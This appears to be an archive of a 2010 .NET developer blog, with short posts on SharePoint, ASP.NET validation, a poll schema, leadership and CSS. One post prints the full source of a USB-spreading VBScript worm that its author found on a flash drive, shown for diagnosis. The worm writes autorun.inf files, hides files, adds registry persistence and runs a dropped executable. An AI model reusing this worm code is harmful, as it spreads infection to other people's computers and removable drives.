This post generated from a question at StackOverflow; the question raised was, to how to redirect users in SharePoint using custom HttpHandler, when you do not have access to the server - or - have no permission to access the server/configuration.

HttpHandlers are used by IIS to "handle" different document types, for instance you have separate .asmx handle, .aspx handler, .ascx handler, etc.


Workaround 1: Look into SPUtility.Redirect

You can use the SPUtility.Redirect method whenever you want to direct the user to a different page. For example, you might create a landing page that determines the user's role membership, and based on that information you can redirect them to an appropriate page. Or, based on the contents of a query string issued by the user's browser, you might redirect them to a page that can process the query string, such as the Search Center results page.

Workaround 2: Disposable Windows SharePoint Services
Alternatively, you can look into Using Disposable Windows SharePoint Services Objects.

Workaround 3: Custom Handler in SharePoint
Create a custom HttpHandler in Windows SharePoint Services 3.0; whenever a user requests a url, your custom HttpHandler is going to process that. .Redirect() if you like the url, else otherwise.

But for your custom HttpHandler to work, it should be called first - so in your config file you will have to provide the value in path. Usually an extension is added here. But you can replace that with a * to work for all request. I believe that would work.


Workaround 4:
Assuming that you have "access" to pages so that you can write javascript in it, you can use the javascript in following way.



Happy coding!
Read more ...

Friday, August 20, 2010

ModalPopupExtender: .Show() not working!

ModalPopupExtender: .Show() not working!

Are you having problem with your ModalPopupExtender.Show() method working in other project but not on this project?

Do not set the hidden button to false; it wont render on client at all!

Set property Style="display: none", like following.


Happy coding!
Read more ...

Saturday, July 31, 2010

Design: Voting or Polling Database Schema

Some time back, I was hit upon a query to prepare a voting database schema. So, here is what I came up with; this is just so it may help anyone looking for a polling/voting schema.

Table: poll_referendum
    int id
    varchar name

Table: poll_questions
    int id
    int referendum_id (foreign key to poll_referendum.id)
    varchar body
    datetime created_at
    datetime updated_at

Table: poll_answers
    int id
    int vote_id default 0 (foreign key to vote_types.id)
    int question_id (foreign key to poll_questions.id)
    datetime created_at
    datetime updated_at

Tracking for an answer, so users are able to vote only once:
Table: poll_voting_history
    int id
    int question_id (foreign key to poll_questions.id)
    int answer_id (foreign key to poll_answers.id)
    int user_id (foreign key to the id in the users table)
    datetime created_at
    datetime updated_at
 
Lookup: vote_types
    int id
    varchar type [yes | no | abstain]
 

Note:
If everyone can vote, registered or unregistered, then we might need to track some other user attributes, for instance:
  • Date/time stamp
  • IP
  • User agent
  • User cookie attributes
  • Besides Referendum_id, question_id, answer_id, vote_id, etc

But even this is easily "tamperable" if user changes any of the above fields, or use a Tor-like software. In that case we would need to look into some pattern recognition algorithms or research some other techniques to track user.

Following article might help you get a jump start.

Happy coding!
Read more ...

Friday, July 30, 2010

How to: Validate User Control

How to validate user controls?

There is no quick way of validating user control. Following solutions might help.

Solution 1:
Usually, you can validate like following:
Page.Validate("MyValidationGroupOfDateUserControl");//Date user control
Page.Validate("MyValidationGroupOfAddressUserControl");//Address user control
if(Page.IsValid)
{
    //Do Something, Save/etc.
}
else
 ShowError("Some method to show error; "missing fields.");
But what if you want the validation to be client side?

One way could be to add a public property in your user control for validation group

public string ValidationGroup
{
       set
        {
            SetValidationGroup(value);
        }
}

//Sets the validations for all your controls
private void SetValidationGroup(string val)
{
        txtName.ValidationGroup = val;
        txtLocation.ValidationGroup = val;
 RequiredFieldValidator1.ValidationGroup = val;
 RequiredFieldValidator2.ValidationGroup = val;
}

And in your markup set it like:


Or if its in tab panel, that is, if you have your control displayed under a tab. Use following code:

<_asp:TabPanel runat="server" ID="pnlAddress" HeaderText="<%$ Resources:Resource, UserControls_Address %>">
                        
                            


Solution 2:

Add the validation group in the base class; and sub class your controls from it.

public class UserControlBase : UserControl
{
    public UserControlBase()
    {
        this.Load += new EventHandler(UserControlBase_Load);
    }

    void UserControlBase_Load(object sender, EventArgs e)
    {
        SetValidationGroup();
    }

    /// 
    /// Sets the validation group.
    /// 
    private void SetValidationGroup()
    {
        foreach (Control control in this.Controls)
        {
            //See if its ValidationGroup'able?
            if (control.GetType().GetProperty("ValidationGroup") == null) continue;

            //If you want to set validation for specific controls, 
            //for instance only for text boxes and drop down lists.
            //then, iterate through following.
            switch (control.GetType().ToString())
            {
                case "System.Web.UI.WebControls.DropDownList":
                case "System.Web.UI.WebControls.TextBox":
                    control.GetType().GetProperty("ValidationGroup").SetValue(control, ValidationGroup, null);
                    break;
            }

            //Set for all controls; if you want.
            //control.GetType().GetProperty("ValidationGroup").SetValue(control, ValidationGroup, null);
        }
    }

    public string ValidationGroup
    {
        get { return (string)ViewState["ValidationGroup"]; }
        set { ViewState["ValidationGroup"] = value; }
    }

    /// 
    /// Clears the controls.
    /// 
    /// 


The parent.public void ClearControls(Control parent)
    {
        foreach (Control c in parent.Controls)
        {
            if (c.Controls.Count > 0)
            {
                ClearControls(c);
            }
            else
            {
                switch (c.GetType().ToString())
                {
                    case "System.Web.UI.WebControls.TextBox":
                        ((TextBox)c).Text = "";
                        break;
                    case "System.Web.UI.WebControls.CheckBox":
                        ((CheckBox)c).Checked = false;
                        break;
                    case "System.Web.UI.WebControls.RadioButton":
                        ((RadioButton)c).Checked = false;
                        break;
                    case "System.Web.UI.WebControls.DropDownList":
                        ((DropDownList)c).SelectedIndex = -1;
                        break;
                }
            }
        }
    }

}

In your control, write:

//Address user control
public partial class UCtlAddress : System.Web.UI.UserControl
{
...
}

Note couple of utility functions that you provide in your base user control; just so it may come handy at any time.

Use it similar to above in your markup;



Happy coding, and yep... I love GhostDoc! (0:
Read more ...

Sunday, July 25, 2010

VB Script: How to create a virus?

Since quite a couple of weeks I was having slow PC; and eventually dying for a restart. I turned off all of the windows services, I removed all un-necessary software and even those that were necessary but having low usage-frequency. Still to no avail. Then I went through my registry to cleanup unwanted run and run once's.

As I turn on the computer I could see a lot of wscript's running, about tens of them, hogging my CPU and memory like anything. I thought it might be network policy imposed by network department; I used to close all of the running scripts one by one. But an eventual talk to network admin revealed that no PC "runs" the policy on PC start-up, and that they do not have to do anything with the wscript.exe scripts.

Running Symantec EndPoint Protection software that has an up-to-date virus definitions, I could not imagine a virus in my pc.

Most people think that WScript.EXE is a virus, which it is not. Its a windows script hosting(WSH) software. Also, I have used WScript quite a couple of times myself, and probably so is the reason I never thought of removing that exe.

It can potentially execute commands(VB or JScript) that you may not want/desire.

Following is a simple example taken from MSDN, to write in registry.
Dim WshShell, bKey
Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.RegWrite "HKCU\Software\ACME\FortuneTeller\", 1, "REG_BINARY"
WshShell.RegWrite "HKCU\Software\ACME\FortuneTeller\MindReader", "Goocher!", "REG_SZ"

bKey = WshShell.RegRead("HKCU\Software\ACME\FortuneTeller\")
WScript.Echo WshShell.RegRead("HKCU\Software\ACME\FortuneTeller\MindReader")

WshShell.RegDelete "HKCU\Software\ACME\FortuneTeller\MindReader"
WshShell.RegDelete "HKCU\Software\ACME\FortuneTeller\"
WshShell.RegDelete "HKCU\Software\ACME\"

So, long story short, this always used to happen when it insert my flash drive in the system. Couple of days ago, I cancelled the Action window that pops up when you insert a flash drive. I browsed the drive using Control+E (Windows Explorer) and to my astonishment I found a .VBS file; which is basically the VB Script file. I renamed the file and opened it. It was the code that was hogging my PC!

Though, I did not like the slow the PC at all, because I couldnt work; but interestingly I did enjoy reading the code (0:

Following is what I found when I opened d.vbs file; I have added a couple of comments just for the reader to better understand the code.

On Error Resume Next
set objfso=CreateObject("Scripting.fileSystemObject" 'causes execution to continue with the statement
Set ws = CreateObject("wscript.Shell") ' Create a shell object
Set sh = CreateObject("Shell.application")
sour="C:\Tempe"
if objfso.FolderEXists(sour) Then ' Look for a folder
set tf =objfso.getFolder(sour)
tf.Attributes=39
End If

a=0
b=10
c=10

'Tweaking the registry
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Explorer", sour & "\" &"d.vbs"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden",1,"REG_DWORD"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","1"
if a=0 Then

if objfso.FileExists("C:\Tempe\win.exe") Then
ws.Run("C:\Tempe\win.exe")
end if
end if

Do
For Each flashdrive In objfso.drives
   If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path<>"A:" Then

If (flashdrive.drivetype = 1) Then 
pet=flashdrive.path & "\"

set tf=objfso.createtextfile(pet & "autorun.inf")
tf.writeline "[autorun]"
tf.writeline "shellexecute=wscript.exe d.vbs"
tf.writeline "shell=Open"
tf.writeline "Shell\Open\Command=wscript.exe d.vbs"
tf.writeline "Action=Open to View Folder"
tf.writeline "Icon=tere.ico"
tf.close
set tf =objfso.getfile(pet & "autorun.inf")
tf.Attributes=39

if objfso.FileExists(pet&"autorun.inf") Then
set f = objfso.getfile(pet&"autorun.inf")
size = f.size
set text=f.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
end if
if tf=source Then
sour="C:\Tempe"
Else
set f = objfso.getfile(pet&"autorun.inf")
objfso.DeleteFile(f)
End If

If a=0 Then
ws.Run(pet)
ws.run(pet&"win.exe")
End If
a=a+1
sour="C:\Tempe"
pet=flashdrive.path & "\" 
dest=flashdrive.path & "\Tempe" 
sours="C:\Tempe\"

if a=3 Then
If objfso.FileExists(pet&"autorun.inf") Then
objfso.DeleteFile(pet&"autorun.inf")

set Fol=objfso.GetFolder(sour)
set tf=objfso.createtextfile(pet & "autorun.inf")
tf.writeline "[autorun]"
tf.writeline "shellexecute=wscript.exe d.vbs"
tf.writeline "shell=Open"
tf.writeline "Shell\Open\Command=wscript.exe d.vbs"
tf.writeline "Action=Open to View Folder"
tf.writeline "Icon=tere.ico"
tf.close

set tf =objfso.getfile(pet & "autorun.inf")
tf.Attributes=39

End If
End If

If objfso.FileExists(pet&"d.vbs") Then
sour="C:\Tempe"
Else
set Fol=objfso.GetFolder(sour)
set f=objfso.GetFile(Fol&"\d.vbs")
objfso.CopyFile f, pet, OverWriteFiles
set f =objfso.getfile(pet & "d.vbs")
f.Attributes=39

set f=objfso.GetFile(Fol&"\win.exe")
objfso.CopyFile f, pet, OverWriteFiles
set f =objfso.getfile(pet & "win.exe")
f.Attributes=39

set f=objfso.GetFile(Fol&"\tere.ico")
objfso.CopyFile f, pet, OverWriteFiles
set f =objfso.getfile(pet & "tere.ico")
f.Attributes=39
set tf=objfso.createtextfile(pet & "autorun.inf")
tf.writeline "[autorun]"
tf.writeline "shellexecute=wscript.exe d.vbs"
tf.writeline "shell=Open"
tf.writeline "Shell\Open\Command=wscript.exe d.vbs"
tf.writeline "Action=Open to View Folder"
tf.writeline "Icon=tere.ico"
tf.close
set tf =objfso.getfile(pet & "autorun.inf")
tf.Attributes=39

set mf = objfso.getfile(pet&"autorun.inf")
size = mf.size
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
End If

If objfso.FolderExists (sour) Then
set Fol=objfso.GetFolder(sour)
End If

If objfso.FileExists("C:\Tempe\d.vbs") Then
sour="C:\Tempe"
Else
set tf=objfso.createFolder("C:\"& "Tempe")
set Fol=objfso.GetFolder(sour)
Fol.Attributes=39
set f=objfso.GetFile(pet&"d.vbs")
objfso.CopyFile f, sours, OverWriteFiles
set f =objfso.getfile(sour & "\d.vbs")
f.Attributes=39
set f=objfso.GetFile(pet&"tere.ico")
objfso.CopyFile f, sours, OverWriteFiles
set f =objfso.getfile(sour & "\tere.ico")
f.Attributes=39
set f=objfso.GetFile(pet&"win.exe")
objfso.CopyFile f, sours, OverWriteFiles
set f =objfso.getfile(sour & "\win.exe")
f.Attributes=39
End If

set mf = objfso.getfile(pet&"autorun.inf")
size = mf.size
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
if a=3 Then
a=1
End If
End If
End If
Next
if check<>1 Then
Wscript.sleep 10000
end if
 
set mf = objfso.getfile(Wscript.ScriptFullname)
size = mf.size
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
Loop While (check <> 1) 

Happy diagnosing the virus! (0:

NOTE:

If you see alot of wscript.exe's running on your machine, and you still doubt their actions; copy and paste the following code into Check for virus.VBS file, and double click to run it.

The following code prints, in form of message box, all of the scripts that is being run under wscript.exe program.

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'cscript.exe'" & _
        " OR Name = 'wscript.exe'")
For Each objItem in colItems
    Wscript.Echo objItem.CommandLine
Next


Keep on pressing the OK button to see the list of scripts being run under wscripts.exe

Enjoy!
Read more ...

Monday, July 19, 2010

ASP.NET: Quick Sort a GridView

How to sort a GridView without hitting the database?

DataView dv = dt.DefaultView;//Your datatable, dt.
dv.RowFilter = "";//Set row filter to none.
if ((strSortBy != null) && (strSortAscending != null))
    dv.Sort = strSortBy/*Column name*/ + " " + strSortAscending /*ASC, for instance.*/;

grd.DataSource = dv;
grd.DataBind();

Happy sorting!
Read more ...

Sunday, July 11, 2010

Management vs Leadership

Is manager same as leader? Is manager always a leader?

"No.", writes Robert Heller in his famous Effective Leadership.

Though, I did read couple of online articles by Robert Heller, this was the first time that I came across the book in City Center Mall, Salimya, Kuwait.

He clearly identifies the leaders among managers as:

Leaders
  • Administer
  • Originate
  • Develop
  • Inspire trust
  • Think long term
  • Ask what and why
  • Watch the horizon
  • Challenge status quo
  • Are their own people
  • Do the right thing
Managers
  • Implement
  • Copy
  • Maintain
  • Control
  • Think short term
  • Ask how and when
  • Watch the bottom line
  • Accept status quo
  • Are good soldiers
  • Do things right
I believe mentoring is a core part of leadership; but that depends, is your manager a leader? Consider yourself lucky if she is, otherwise - find one, or buy this book.

Robert Heller goes into analyzing the role of a manager, and tells a way to improve the standard of quality of a team. He stresses to:
"Ensure that staff are motivated, well managed, and empowered to improve continuously; and the way to do that is to:
  • Train all staff in the skills and capabilities they need to meet their quality targets.
  • Practise two way communication; top-down, and bottom-up, through all available media.
  • Use coaching sessions to mentor as well as teach."
Robert identifies a thought-provoking list of question that a "leader" must ask herself; a couple, as follows:
  • Do I communicate directly with my team?
  • Am I sure that every member of the team understands his/her role fully?
  • Am I setting sufficiently ambitious goals?
I believe the most effective style of leadership is with varying styles, which includes being "Peoples' Person". Which believes on the principle that success flows from team within the team. It seeks to develop a climate of open-ness, and work with-and-for everybody equally.

Contrary to many private IT organizations that "practicing/promoting" the bureaucratic-management work environment in Pakistan especially, Robert encourages:
"Taking into account the feelings of staff when promoting internally".
At this account, I recall my previous boss, Shariq Mirza, a FAST graduate, living in the US for ~18 years now - helping United States Postal Services build great mailing solutions. Surprisingly(well, to my surprise), I have learnt alot from him. Surprised, because I was offshore all the time. I never thought I would get a chance to be mentored; but, lucky for me, the time that I spent with him, in email changes, telecons, personal phone talks, etc, has mentored me far more, has added in me far more "professional decor", compared to the rest I could find in my entire professional career.

I learned alot; I learned about the trigger theory, team management, resolving conflicts, and how to be a team leader; how "leaders cover all the time", and why, "employees leave managers, not companies". I also learned about the green-light red-light approach of gathering requirements and then classifying it down to needs, nice-to-haves, and wishes.

"When everything fails, communicate", is what I tied down in my pallu, and use it often, the day he said that.

If you are manager, or well... a leader, can you guess the reasons of the following few mishaps?
  • Lack of communication, which results in lack of trust
  • Un-gelled team
  • Developer spending more time in heart burn
  • Passive questions/explanation raised by manager
  • Avoiding positive feedback and recognition regularly for work well done
The above problems in a team always has a root-cause, a boss who sits in his cubicle, seldom comes out for a talk/discussion with his team; rarely encourages training; doesn't know anything about mentoring. "Use" meaningless statements to down-rate in appraisal; rejects every idea that a developer has to suggest, questioning every request that is made, to reject.

You can't talk to the bureaucratic-management; they have got a virtual firewall built around them, so you would think twice before entering into a discussion with them.

Quite interestingly a resignation letter caught a wild-fired-discussion and gained considerable amount of attention when the resign-ee made the private e-mail exchanges public. A UI Developer Jeff Ammons (at Mahalo.com, then), when requested for resignation to his, quite famous, boss, Jason Calacanis. William Shields, also known as cletus on StackOverflow added his thoughts over the story. A google would reveal the actual email text exchanges.

But is that all fruitful? Does that result in a "gelled-team"? The point that I am trying to make is to gain trust between among the team, and which cannot, and I repeat just to avoid any confusions, "cannot", be achieved without Communications.

So should leadership be expected from a manager?

Good day!
Read more ...

Friday, July 9, 2010

CSS: Challenges of being a CSS-P

Some time back I conducted a small training regarding CSS. There was a whole lotta debate that went on and on regarding Tables vs DIV, and then we went into being the CSS-P (Pure-CSS).

Consider the following table. What if your user/customer wants to copy the data into their excelsheet?



But somehow the user is disturbingly-surprised to findout that she cant do that.


Curiously, she tries to ViewSource and finds out the following html code:


So eventually, shes hating the CSS-Ps and the DIVs; because a new tag is just not helping her.

So, can we use CSS (DIV) for Tabular data?
Yes!

Should we?
No.

Why?
To enhance the user experience of your website.

Example?
Copy and paste rows to an excelsheet; From a DIV'd data and Table‘d.

Btw, a tabled data would produce something like following in the excelsheet.

You might just have delighted your customer!

So, DIV says ‘go table go’?
No.

DIV = layout
Table = data

If you are interested, checkout http://gomontessori.com/ a CSS-P website.



Happy styling!
Read more ...
Designed By Published.. Blogger Templates